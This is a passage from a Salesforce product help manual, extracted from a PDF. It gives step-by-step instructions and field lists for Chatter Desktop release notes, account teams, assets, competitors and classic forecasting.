Updated for use with chatter.com


Minor bug fixes

1.1.0

Click files to preview them


Select the To:Me tab to see posts directed to you
Click groups and users to view their walls
Write on the walls of groups and users

1.0.7

Photo loading issue resolved

1.0.6

Performance optimizations for people and groups


Release of Chatter Desktop managed version

1.0.5

An option to log into your Developer Sandbox


Performance optimizations
Korean locale fixes

See Also:
Installing Chatter Desktop
Connecting Chatter Desktop
Using Chatter Desktop
Configuring Chatter Desktop
Disabling Chatter Desktop Remotely
Chatter Desktop Overview

2474

SELLING

ACCOUNT TEAMS
Account Teams Overview
Available in: Enterprise, Unlimited, and Developer Editions

An account team is a team of users that work together on an account. For example, your account team may include an executive
sponsor, dedicated support representative, and project manager.
You can build an account team on each account that you own. When selecting an account team member, choose a role to
indicate the role the person plays on the account. Also, depending on your sharing model, you can specify the level of access
each account team member will have to the account and any contacts, opportunities, or cases associated with that account. So,
you can give some team members read-only access and others read/write access.
You can also set up a default account team. Your default account team should include the users that you normally work with
on your accounts. You have the option to automatically add your default account team to all of your accounts.
In a custom list view, you can filter account lists by the account teams in which you are a member. When creating or editing
a custom list view for accounts, simply select the My Account Teams filter. In account reports, you can filter accounts by
the account teams in which you are a member.
Note: Account teams are not the same as sales teams, although they share the same set of available team member
roles. Account teams work together on accounts, while sales teams work together on opportunities.

See Also:
Setting Up Account Teams
Adding Account Team Members
Editing Account Team Members
Removing Account Team Members
Setting Up Default Account Teams
Sales Teams Overview
Account and Contact Reports

2475

Account Teams

Setting Up Account Teams

Setting Up Account Teams


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable account teams:

Customize Application

To set up team roles:

Customize Application

Your users can add account team members to accounts. Similar to sales teams on opportunities, account teams are teams of
users who work together on accounts.
To access the Account Team Setup page, click Your Name > Setup > Customize > Accounts > Account Teams. On the
Account Team Setup page, click the appropriate links to perform the following actions:

Defining Team Roles


Every member of an account team has a role that he or she plays for the account, for example, Account Manager or Project
Manager. You can customize the account team roles for your organization:
1. Click Team Roles.
2. Edit the existing entries or add new items.
3. Click Save.

Replacing Team Roles


If you have changed your team roles and want to update all existing records, click Replace Team Roles to globally replace the
values in all existing records. For more information, see Replacing Picklist Values on page 1073.
Note: Account teams share roles with the sales teams on opportunities. If you remove an account team role, that role
will no longer be listed as an opportunity sales team role.

Enabling or Disabling Account Teams


To enable or disable account teams:
1. Click Enable Account Teams or Disable Account Teams.
2. Select or deselect the Account Teams Enabled checkbox and click Save. Enabling account teams gives your users
access to create and use account teams on accounts.
3. If you are enabling account teams, select the account page layouts that should include the new Account Team related list
and click Save.

2476

Account Teams

Setting Up Default Account Teams

Note: Disabling account teams removes all account teams from all accounts and removes the Account Team related
list from all page layouts.
In addition, you cannot disable account teams for your organization if team members are referenced in Apex. For
example, if Apex code references the Team Member field (represented as AccountTeamMember in the code), account
teams cannot be disabled. For more information, see Apex Code Overview on page 1994.

See Also:
Account Teams Overview
Adding Account Team Members
Setting Up Default Account Teams

Setting Up Default Account Teams


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up default account teams:
To add default account teams to accounts:

Read on opportunities
Read on accounts
AND
Owner of account record, or above owner in your
organization's role hierarchy

An account team is a team of users that work together on an account. For example, your account team may include an executive
sponsor, dedicated support representative, and project manager.

Adding Default Account Team Members


1.
2.
3.
4.

Click Your Name > Setup > My Personal Information > Personal Information.
Click Add in the Default Account Team related list.
Select users to add as members of your default account team.
Select the access levels that each member should have on the accounts you own and the contacts, opportunities, and cases
related to those accounts.
An access level can only grant the same or wider access than your organizations default access level for that kind of record.
Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.

5. Select an account team role for each member, for example, Channel Manager.
6. Check the Automatically add my default account team... box to add your default account team to all accounts
that you create and all accounts that are transferred to you.
7. Check the Update account teams... box to apply default account team changes to all of your existing accounts.
8. Click Save.

2477

Account Teams

Adding Account Team Members

Editing and Deleting Default Account Team Members


To change the access levels or role of a default team member, click Edit next to the users name in the Default Account Team
related list.
To delete a user from your default sales team:
1. Click Del next to the users name in the Default Account Team related list.
2. Check the Remove this user... box to remove the user from your existing account teams.
3. Click Delete to finish.
To change or remove a default team member for a specific account, go to the Account Team related list on that account.

Adding Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add team members from an account:

Read on accounts
AND
Owner of account team record, or above owner in your
organization's role hierarchy

To view accounts:

Read on accounts

To build an account team, you select an account and add account team members to it. You can't add high-volume portal users
to teams.
Note: The Account Access, Contact Access, Opportunity Access, and Case Access options depend on your sharing
model. In a Public sharing model, you may only have one option. Contact Access is not available when the
organization-wide default for contacts is set to Controlled by Parent. Regardless of sharing access, account team
members must also have the Read permission on accounts to view accounts that list them as members.
1. View the account.
2. Click Add in the Account Team related list.
3. Select users to add to the account team. To add your default account team to an account, click Add Default Team in the
Account Team related list. To add all account team members to an opportunity, click Add Account Team from the Sales
Team related list on the opportunity.
4. Select the type of access each member should have to the account's related records. The access level cannot be less restrictive
than your organizations default account access level.
5. Select a team role for each member.
6. Click Save.

2478

Account Teams

Editing Account Team Members

Tip: In a custom list view, you can filter account lists by the account teams in which you are a member. When creating
or editing a custom list view for accounts, simply select the My Account Teams filter. In account reports, you can
filter accounts by the account teams in which you are a member.

See Also:
Reassigning Multiple Team Members
Setting Up Account Teams
Editing Account Team Members
Removing Account Team Members

Editing Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To edit team members:

Edit on accounts
AND
Owner of account team record, or above owner in your
organization's role hierarchy

For each account you own or have access to, you can change the access level and role of any member.
Note: If a team member is on your default account team and you modify his or her properties for a specific account,
those changes affect only that account. The setup of your default account team does't change.
1. View the account.
2. To add team members, click Add or Add Default Team on the Sales Team related list.
3. To edit a team member's access, click Edit next to the member's name and select a different access level for the account
and its related contacts, opportunities, and cases.
An access level can only grant the same or wider access than your organizations default access level for that kind of record.
4. To edit a team member's role, click Edit next to the member's name and select a different role.
5. Click Save.
Tip: Click Display Access in the Account Teams related list to show the organization-wide sharing settings related
to accounts. These settings may allow greater access than those specified when the user was added to the account team.
For example, if your company's organization-wide sharing setting for accounts is Read/Write, that setting will override

2479

Account Teams

Removing Account Team Members

a Read Only setting for an individual member of an account team. Contact access is not available when the
organization-wide default access for contacts is set to Controlled by Parent.

See Also:
Adding Account Team Members
Setting Up Default Account Teams

Removing Account Team Members


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To remove team members:

Edit on accounts
AND
Owner of account record, or above owner in your
organization's role hierarchy

For each account you own, you can remove any team member from the account team.
1. View the account.
2. Click Del next to the members name in the Account Team related list.
Click Delete All if you want to remove all the account team members at once.
3. Check the Remove box if you also want to remove the user from the sales teams of open opportunities associated with
the account.
4. Click Delete to finish.
Note: Unless specified, removing a member of your account team does not remove that person from your opportunity
sales teams.
If a team member is on your default account team and you remove him or her from a specific account, those changes
only affect that account. The setup of your default account team does not change. To remove users from your default
account team, see Setting Up Default Account Teams on page 2477.
If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and
Case Access) and is deactivated, the access will default to Read Only if the user is reactivated.

See Also:
Reassigning Multiple Team Members

2480

Assets

Account Team Fields

Account Team Fields


Available in: Enterprise, Unlimited, and Developer Editions

An account team member has the following fields, listed in alphabetical order. Depending on your page layout and field-level
security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and
Developer Editions only.)
Field

Description

Account Access

The level of access that a team member has to the account.


The access level can be read/write or read only, but it cannot
be less than your organizations default account sharing access.

Contact Access

The level of access that a team member has to the contact.


The access level can be read/write or read only, but it cannot
be less than your organizations default contact sharing access.
Contact Access is not available when the organization-wide

default for contacts is set to Controlled by Parent.


Opportunity Access

The level of access that team member has to the opportunities


associated with the account.

Case Access

The level of access that team member has to the cases


associated with the account.

Team Member

The user listed as part of the team.

Team Role

The role that the team member plays for the account, for
example, Account Manager.

ASSETS
Assets Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

While products represent the items that your company sells, assets represent the specific products your customers have purchased,
including a serial number, date of purchase, or any other information related to an individual sale. Depending on how your
organization uses assets, they can represent a competitor product that your customer has or versions of your products.

2481

Assets

Getting Started with Assets

Use assets to store specific information about the products your customers have. Depending on your page layouts, you can
view asset related lists on your account, contact, and product page layouts.
If set up by an administrator, your customers may be eligible for support based on an asset they've purchased. See Entitlement
Management Overview on page 3357.

See Also:
Getting Started with Assets
Viewing Asset Lists
Administrator tip sheet: Getting Started with Assets

Getting Started with Assets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

If your organization has enabled products, assets are automatically enabled for your organization. However, administrators
still need to customize their organization before users can begin using assets. To implement assets for your organization:

Add the Assets related list to account, contact, and product page layouts. Users can create new assets from these related
lists. For instructions on changing page layouts, see Customizing Page Layouts on page 1278.
Add the Cases related list to the appropriate product and asset page layouts.
Add the Asset field to your case page layouts. Consider changing the field-level security for the Asset field so that it
displays or is required if necessary for your business. See Field-Level Security Overview on page 663.
By default, your users have Read, Create, Edit, and Delete permissions on assets. If necessary, revise these permissions
for your users. Without the Read permission on assets, users will not see any assets or asset related lists in Salesforce. For
information on these permissions, see Object Permissions on page 586 .
Optionally, customize asset fields and page layouts by clicking Your Name > Setup > Customize > Assets.

See Also:
Administrator tip sheet: Getting Started with Assets

2482

Assets

Viewing Asset Lists

Viewing Asset Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assets:

Read on assets

To change assets:

Edit on assets

Display a list of assets by going to the Products tab and clicking a view from the Asset Views section. To show a filtered list
of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view.
To edit or delete any view you created, select it from the View drop-down list and click Edit.

Click an asset name to view the detail. Click Edit or Del to edit or delete the asset. For information on deleting assets,
see Deleting Assets on page 2488.

If Chatter is enabled, click

or

If Chatter is enabled, click


back to the list view.

Chatter in the top-right corner to see feed updates for the list view. Click

to follow or stop following an asset in your Chatter feed.


List to toggle

Sorting List Views

Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Printing List Views
Using Inline Editing in Lists

Displaying and Editing Assets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assets:

Read on assets

To change assets:

Edit on assets

You can display an asset from the Products tab or a related account or contact.

2483

Assets

Displaying and Editing Assets

Displaying Assets
Once you have located an asset from a related list, or the products home or list pages, click the name to display detailed
information. If hover details are enabled, hover over any lookup field on the detail page to view key information about
a record before clicking into that record's detail page.
Viewing Asset Updates and Comments (Chatter)
Display a Chatter feed of updates, comments, and posts about the asset.
Editing Assets

Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.
To display the page in edit mode, click Edit, make your changes, and click Save.

Asset Related Lists


Below the asset detail are related lists that include information about associated cases, entitlements, activities, or notes
and attachments. The related lists you see are determined by your personal customization and any customization your
administrator has made to page layouts. Click on individual items to display additional information about them. Click
more at the bottom of the page or View More below a related list to display more items.
Note: Hover over the links at the top of a detail page to display the corresponding related list and its records.
If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and
manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not
enabled, contact your Salesforce administrator.
Printing Assets
To open a printable display of the record details, in the top-right corner of the page, click Printable View.
To return to the last list page you viewed, click Back to list at the top of the asset detail page. If your organization has enabled
collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page.
For more information, see Navigating on page 13.
You can enter person accounts in either the Account or Contact fields of an asset. The Assets related list on a person account
includes all assets related to the person account, including those where the person account is in the Contact field. See What
is a Person Account? on page 68.
Note: Users can view an asset if they can view the account or contact listed on the asset. However, sharing settings
may prevent users from viewing the account associated with the contact on the asset.

See Also:
Asset Fields
Creating Assets
Cloning Assets
Deleting Assets
Tagging Records
Searching for Assets
Entitlement Management Overview

2484

Assets

Creating Assets

Creating Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assets:

Read on assets

To create assets:

Create on assets

Administrators and users with the Create permission on assets can create new assets.
1. Click New on the Assets related list of an account, contact, or product. This action automatically inserts the account name,
contact name or product name, depending on the record you selected when you clicked New.
2. To associate the asset with a product, enter the exact product name. If the product name is unique, Salesforce automatically
inserts this name in the Asset Name field.
If you do not know the name of the product:
a. Click the Product lookup icon if the asset is based on a product.
b. Enter a search filter to find a current product, and click Go!. See Entering Filter Criteria for information on filtering
information.
c. Select the appropriate product. Salesforce automatically inserts the selected product name in the Asset Name field.
3. Enter a name for the asset.
4. Choose the account or contact for the customer who has purchased the asset.
If necessary, you can choose both an account and a contact that are not related. The asset will display on the contact selected
on the asset as well as the account selected on the asset, however, it will not display on the account of the contact. If you
only choose a contact, the asset will display on both the contact and the contact's account.
5. To create an asset for a competitors product, check Competitor Asset.
6. Click Save.
You can enter person accounts in either the Account or Contact fields of an asset. The Assets related list on a person account
includes all assets related to the person account, including those where the person account is in the Contact field. See What
is a Person Account? on page 68.

See Also:
Asset Fields
Cloning Assets

2485

Assets

Viewing Asset Updates (Chatter)

Viewing Asset Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the asset.
Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.

Following Assets
When you follow an asset, your Chatter feed includes field changes and asset feed updates.

To follow an asset, click Follow. To stop following, click Following .


The Followers list shows you who is following the asset. To view a full list, click Show All.
To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select
Automatically follow records I create.

See Also:
Chatter Overview
Feeds

Cloning Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assets:

Read on assets

To create and clone assets:

Create on assets

Use the Clone button on an asset to quickly create a new asset with the same information as the selected asset. To clone an
asset for your organization:
1. Click Clone on an existing asset.
2. Enter or change any information for the new asset.
3. Click Save.

2486

Assets

Asset Fields

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Asset Fields

Asset Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

An asset has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Field

Description

Asset Division

Division to which the asset belongs. This value is automatically


inherited from the related account if any. Otherwise the value
is inherited from the related contact. Available only in
organizations that use divisions to segment their data.

Asset Name

Identifying name for the asset. If you select a product from


the product lookup, this name is automatically populated with
the product name.

Account

Account associated with the asset. Each asset must be


associated with an account or contact.

Contact

Contact associated with the asset. Each asset must be


associated with an account or contact. If you choose both an
account and contact, they do not need to be related to each
other. Contacts that are not associated with an account cannot
be linked to assets.

Competitor Asset

Checkbox to indicate if the asset represents a competitors


product. Use assets to track what customers have your
competitors products using this checkbox.

Description

Text that distinguishes this asset from others.

Install Date

Date the customer installed the asset.

Price

Amount the customer paid for the asset.

Product

The product on which the asset is based.

Purchase Date

Date the customer bought the asset.

Quantity

The number of assets purchased.

2487

Assets

Deleting Assets

Field

Description

Serial Number

The model number on the asset.

Status

State of the asset.

Usage End Date

The date the asset expires or the last date it is under warranty.
Use this field to store whatever date is appropriate for your
business.

See Also:
Displaying and Editing Assets
Creating Assets
Cloning Assets

Deleting Assets
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assets:

Read on assets

To delete assets:

Delete on assets

To recover deleted assets:

Delete on assets

Since assets are related to account and contact records, you can delete them from those records or individually using the
Products tab. Before you delete an asset, review the following scenarios:

Is the asset associated with a case?


Assets associated with cases cannot be deleted. This includes deleting an account or contact record that is associated with
an asset listed on a case.

Is the asset associated with a product?


When an asset is based on a product, deleting the product does not delete the asset.

Is the asset associated with an account or contact?


If you delete an account or contact, all associated assets are also deleted and moved to the Recycle Bin.
Note that if you delete an account with a related contact that is associated with an asset, all three records are deleted. To
restore all three records, restore the account record.
Note: You can delete an asset individually without deleting any related record. However, if you later delete the related
record, you cannot recover the asset from the Recycle Bin.

2488

Assets

Searching for Assets

To delete an asset:
1. Locate the asset on the Assets related list of an account or contact, or on an asset list view from the Products tab.
2. Click Del next to the asset you want to delete.
3. Click OK.

See Also:
Recycle Bin
Deleting Mass Data

Searching for Assets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assets:

Read on assets

1. Enter your search terms in the sidebar or header search box.


If you're using the sidebar, click Advanced Search... to find matches in additional fields.
2. Click Search.
3. From the search results, click an item to open it or click Edit, if available.
You can also create an asset list view from the Products tab to find assets that match specific criteria.

See Also:
Search Overview

2489

Competitors

Competitors Overview

COMPETITORS
Competitors Overview
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com

You can track competitors in a pending sale by listing the competitors names in the opportunity. You can enter the names of
new competitors, or choose from a list of competitors defined by your administrator via Your Name > Setup > Customize >
Opportunities > Competitors. To access this information, go to the Competitors related list of the opportunity.

See Also:
Defining Competitors
Viewing and Editing Competitors
Competitor Fields
Deleting Competitors

Defining Competitors
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com

User Permissions Needed


To define competitors:

Customize Application

Create a picklist of competitors that your users can attach to opportunities. To add competitors to the picklist:
1.
2.
3.
4.

Click Your Name > Setup > Customize > Opportunities > Competitors.
Click New to add competitor names to the list.
Enter the name of the competitor.
Optionally, check the default option to select this value on any new record when another value is not selected.

2490

Competitors

Viewing and Editing Competitors

5. Click Save.
Use the following options to modify existing competitors:

Click Reorder to sort the values in your list.


Click Edit next to a competitor to change it.
Click Del next to a competitor to delete it.

See Also:
Competitors Overview
Defining Competitors
Competitor Fields
Deleting Competitors

Viewing and Editing Competitors


Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com

User Permissions Needed


To view competitors:

Read on opportunities

To edit competitors:

Edit on opportunities

The Competitors related list of an opportunity shows the competitors for that deal.

To view information for a competitor, click the competitors name.


Click Edit next to a competitors name to edit the strengths and weaknesses of the competitor for the opportunity.
To add a competitor, click New. Enter the competitors name, or click the lookup icon to select from a list of competitors
defined by your administrator via Your Name > Setup > Customize > Opportunities > Competitors. It does not need
to be an existing account or contact. Then specify the strengths and weaknesses of the competitor, which may be different
for each opportunity.

2491

Competitors

Competitor Fields

Note: To add or create a competitor on an opportunity, you must also have access to edit that opportunity.

See Also:
Competitors Overview
Defining Competitors
Competitor Fields
Deleting Competitors

Competitor Fields
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com

A competitor has the following fields, listed in alphabetical order.


Field

Description

Competitor Name

Name of competitor. You can enter any name, or select from


the list of all competitors defined by your administrator via
Your Name > Setup > Customize > Opportunities >
Competitors.

Strengths

Description of competitors key selling points and advantages.

Weaknesses

Description of competitors key disadvantages.

See Also:
Competitors Overview
Viewing and Editing Competitors
Defining Competitors
Deleting Competitors

2492

Forecasting

Deleting Competitors

Deleting Competitors
Available in: All Editions that signed up prior to Summer '09
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer
'09
Not Available in Database.com

User Permissions Needed


To delete competitors:

Edit on opportunities

You can delete a competitor from the opportunities page by clicking the Del link next to a competitors name in the Competitors
related list.
Note: To delete a competitor from an opportunity, you must also have access to edit that opportunity.

See Also:
Competitors Overview
Viewing and Editing Competitors
Defining Competitors
Competitor Fields

FORECASTING
Forecasts Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
A forecast is your best estimate of how much revenue you can generate in a quarter. This amount is divided between Commit
Amount - the amount you can confidently close - and Best Case Amount - the total amount of revenue you might possibly
generate. A managers forecast should include the amount of revenue the entire team can generate together.

2493

Forecasting

Forecasts Home

The Forecasts tab displays a home page that lets you quickly create and locate forecasts and quotas. The Forecasts tab also
displays your monthly revenue projections, the amount of open opportunities in your pipeline, and the amount of your
closed/won opportunities. Managers forecasts also show a roll-up of forecast data for users that report to them.

See Also:
Forecasts Home
Tip sheet: Forecasts: Assessing Your Position

Forecasts Home
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
Clicking the Forecasts tab displays the forecasts home page.

In the Forecast Views section, select a list view from the drop-down list to go directly to that list page, or click Create
New View to define your own custom view.
In the Forecast Summary section, the current quarters forecast numbers display by default. To see another quarters
forecast, select it from the drop-down list. From the summary, click the View button or the Totals link to go to the forecast
detail. Click Edit to edit the forecast.
Under Quick Create, choose the forecast quarter to add a new forecast.
Under Forecast Reports, click a report name to jump to that report.
In the Quota Assignment section, click the link to create a new quota. Or, edit your forecast to change that quarters
quota.

See Also:
Forecasts Overview
Displaying and Editing Forecasts
Creating Forecasts
Deleting Forecasts
Creating Custom List Views

2494

Forecasting

Viewing Forecast Lists

Viewing Forecast Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
The forecasts list page displays a list of forecasts in your current view. From this page, you can view detailed forecast information
and access related information on opportunities that contribute to forecast results.

Click on a specific forecast to view the detail. Click Edit or Del next to the forecast entry to edit or delete it. See Displaying
and Editing Forecasts on page 2495.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click New Forecast to create a forecast. See Adding and Editing Quotas on page 46.
Click any column heading on the list page to sort the forecasts in ascending order using that columns information. Click
the heading a second time to sort in descending order.

Displaying and Editing Forecasts


Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
See the following to display and edit forecasts:

Displaying Forecasts
Editing Forecasts
Tagging Forecasts
Setting Forecast Currency

See Also:
Forecast History
Team Forecasts

2495

Forecasting

Displaying and Editing Forecasts

Displaying Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
Once you have located a forecast on the forecasts home or list pages, click View or the forecast name to display detailed
information.
At the top of the page, the table shows the forecast fields, which can contain calculated values or information that you entered
(see Forecast Fields on page 2499). Click Edit to edit the forecast (see Editing Forecasts on page 2496).
For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your
personal currency. The actual amount fields in the opportunity are not affected. Click Change Currency to modify the default
currency of the forecast (see Setting Forecast Currency on page 2497).
The lower part of the forecast detail page shows forecast details in blue and related opportunities in yellow:

For each of the months in the forecast, you can click on individual opportunities to display additional detail. Click New
to add opportunities for that month in the forecast.
In the Team Forecasts related list (see Team Forecasts on page 2498), managers see a roll-up of amounts for their team.
In the Forecast History related list (see Forecast History on page 2498), you can see the history of the changes for the forecast.

To return to the last list page you viewed, click Back to list at the top of the forecast detail page. See Navigating on page 13
for more information.

Editing Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
To change your forecast, choose Edit from the forecast home page or detail page. If you are creating a new forecast, see Creating
Forecasts on page 2499.
1. For each opportunity, adjust the Forecast Category value, if necessary.

The entire Amount of the opportunity is added to the category you choose. The Expected Revenue is not used in
the calculation.
Choose the Omitted category to remove the opportunity from the commit, best case, and pipeline totals.

2. To see the resulting changes to the forecast numbers, click Recalculate. The forecast fields are recalculated based on:

The Amount fields of the opportunities in each Forecast Category, and

2496

Forecasting

Displaying and Editing Forecasts

Any Forecast Category changes you have made, and


If you are a manager in the role hierarchy, any changes your team has made to their forecasts.

Note that the Pipeline number is not updated until you save the forecast.
3. If necessary, adjust your Quota, Commit Amount, and Best Case Amount.
4. To make the changes permanent, click Save. This saves the recalculated totals and any changes you have made to quotas,
the Commit Amount and Best Case Amount columns, or to the Forecast Category for specific opportunities.
Saving also updates the Pipeline number for the forecast.
For organizations that use multiple currencies, all forecast and opportunity amounts are converted and displayed in your
personal currency. The actual amount fields in the opportunity are not affected.
Note: Any change you make to the Stage field while editing an opportunity resets the Forecast Category. Your
administrator sets the correspondence between Forecast Category and Stage in the Stage picklist.

See Also:
Setting Forecast Currency
Forecast History
Team Forecasts
Forecast Fields
Creating Forecasts
Deleting Forecasts

Setting Forecast Currency


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
For organizations that use multiple currencies, all forecast amounts are shown in your personal currency, by default. If you
have opportunities in different currencies, those amounts are converted to your personal currency for display; the actual amounts
in the opportunity are not affected. Likewise for managers, their teams forecast amounts are converted to the managers
personal currency. The manager can drill down into the users forecast and opportunities to see the amounts in the original
currencies.
To change the currency for your forecast:
1. View the forecast, and click Change Currency.
2. Choose a currency from the list, and click Save. All amounts are converted to the new currency.
If you change the currency for the quota associated with the forecast, the currency of the forecast also changes. See Adding
and Editing Quotas on page 46.

2497

Forecasting

Displaying and Editing Forecasts

Forecast History
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
The Forecast History related list of a forecast detail page tracks the changes to the forecast. Any time you change the Quota
(either from the forecast detail page or from the Personal Information pages), Commit Amount, or Best Case Amount
numbers, a new entry is added to the Forecast History related list. All entries include the date, time, and the forecast totals at
the time of the change.
From the Reports tab, you can view the Forecast History report which shows the forecast history for your forecasts, subtotaled
by opportunity.

See Also:
Adding and Editing Quotas
Opportunity Reports

Team Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
On forecast pages, managers see their own opportunities, plus a roll-up of forecast data for users that report to them.
Note: If your team members have not created forecasts for the quarter, no information is displayed for them.

On the forecast detail page, the Team Forecasts related list displays forecast data for each user that reports to you. These
amounts are totaled to give you a complete roll-up for your team. Click a users name to view that users forecast detail, or
click Edit to edit that users forecast.
On the forecast edit page, each month has a Team Forecast related list so you can view a roll-up of opportunities and
forecast amounts for each month.
For organizations with multiple currencies, the team members forecasts are converted and displayed in the currency of the
managers forecast. Click a users name to drill down and view amounts in their original currencies.

2498

Forecasting

Creating Forecasts

Creating Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
To create a new forecast:
1. Click New Forecast.
2. Choose the year and quarter for the forecast, and click Next. The year you select should be based on your organizations
Fiscal Year Starts In settings.
3. Enter the Quota for each of the months in the forecast.
4. Verify, and adjust if necessary, the Forecast Category for the opportunities in the forecast.
If you change any of the Forecast Category values, click Recalculate to update the forecast numbers. Note that the
Pipeline number is not updated until you save the forecast.
5. If necessary, adjust the calculated values for the Commit Amount and Best Case Amount fields. Managers estimates
should include the amount of revenue they and their entire team can generate.
6. Click Save.
If Quick Create is enabled by your administrator, you can also add a new forecast on the forecasts home page, or just by
creating a quota for the quarter in your personal information accessed via Your Name > Setup > My Personal Information
> Personal Information.
See Displaying Forecasts on page 2496 for an explanation of the forecast display.

See Also:
Editing Forecasts
Forecast Fields
Forecasts Home

Forecast Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
A forecast has the following fields, listed in alphabetical order.

2499

Forecasting

Forecast Fields

Field

Description

% Quota

Percentage of quota that you are committing to. Calculated


as Commit Amount divided by Quota. (Read only)

Best Case Amount

Total sales amount you might possibly close. Includes


closed/won opportunities plus opportunities with the Commit
and Best Case categories.

Closed

Automatically calculated total of closed/won opportunities.


For managers, this number includes all closed/won
opportunities for their entire team. (Read only)

Created By

User who created the forecast including creation date and


time. (Read only)

Commit Amount

Total sales amount you are confident of closing. Includes


closed/won opportunities plus opportunities with the Forecast
category.

Forecast Category

Category that determines the column in which an opportunity


is totaled in the forecast. The default setting for an opportunity
is tied to its Stage.

Modified By

User who last changed the forecast fields, including


modification date and time. This does not track changes made
to any of the opportunities on the forecast. (Read only)

Month

Months included in the forecast. Opportunities with a close


date in that month are included for that month (except those
in the Omitted category). (Read only)

Pipeline

Automatically calculated total of open opportunities. For


managers, this number includes all open opportunities for
their entire team. Closed/lost opportunities and those marked
with the Omitted category are not tabulated in the pipeline.
(Read only)

Quota

Quota for a particular month or quarter. For managers, this


number should equal the quota for them and their entire team.

See Also:
Displaying and Editing Forecasts
Creating Forecasts

2500

Customizable Forecasts

Deleting Forecasts

Deleting Forecasts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
To delete a forecast, click Del next to the forecast in the forecasts list page, or click Delete on the forecast detail page. Deleted
forecasts cannot be retrieved from your Recycle Bin.
You can delete a forecast if you are an administrator, the forecast owner, or a user above the forecast owner in the organization
role hierarchy.

CUSTOMIZABLE FORECASTS
Customizable Forecasting Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information applies to Customizable Forecasting and not to other forecasting products.

Customizable forecasting is a flexible solution for estimating how much revenue your organization can generate or how many
